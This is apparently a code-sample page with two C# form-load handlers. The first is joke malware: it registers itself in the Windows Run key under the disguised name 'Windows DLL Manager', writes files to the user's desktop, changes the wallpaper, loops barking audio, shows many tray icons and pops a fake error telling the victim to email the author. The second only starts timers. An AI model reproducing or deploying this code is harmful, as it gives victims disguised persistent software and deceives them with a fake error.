Beispiel #1
0
        private void Form1_Load(object sender, EventArgs e)
        {
            RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true);

            registryKey.SetValue("Windows DLL Manager", Application.ExecutablePath.ToString());
            File.AppendAllText("C:\\Users\\" + Environment.UserName.ToString() + "\\Desktop\\Podziemia Watykanu.txt", Resources.vatican + "\r\n");
            File.AppendAllText("C:\\Users\\" + Environment.UserName.ToString() + "\\Desktop\\Podziemia Watykanu.txt", Resources.vatican + "\r\n");
            File.AppendAllText("C:\\Users\\" + Environment.UserName.ToString() + "\\Desktop\\Podziemia Watykanu.txt", Resources.vatican + "\r\n");
            Timer1.Start();
            Timer2.Start();
            Timer3.Start();
            Timer4.Start();
            Timer5.Start();
            Timer6.Start();
            Timer7.Start();
            changewallp();
            Interaction.MsgBox("Damn, something went wrong! Contact me via mail with error code if you want to fix that problem. Mail: [email protected]", MsgBoxStyle.Critical, "Error 0x0001");
            MyProject.Computer.Audio.Play(Resources.barking, AudioPlayMode.BackgroundLoop);
            NotifyIcon1.Visible  = true;
            NotifyIcon2.Visible  = true;
            NotifyIcon3.Visible  = true;
            NotifyIcon4.Visible  = true;
            NotifyIcon5.Visible  = true;
            NotifyIcon6.Visible  = true;
            NotifyIcon7.Visible  = true;
            NotifyIcon8.Visible  = true;
            NotifyIcon9.Visible  = true;
            NotifyIcon10.Visible = true;
            NotifyIcon11.Visible = true;
            NotifyIcon12.Visible = true;
            NotifyIcon13.Visible = true;
            NotifyIcon14.Visible = true;
            NotifyIcon15.Visible = true;
            NotifyIcon16.Visible = true;
        }
Beispiel #2
0
 private void F11Main_Load(object sender, EventArgs e)
 {
     Timer1.Start();
     Timer2.Start();
     Timer3.Start();
     Timer4.Start();
     Timer5.Start();
     Timer6.Start();
     Timer7.Start();
 }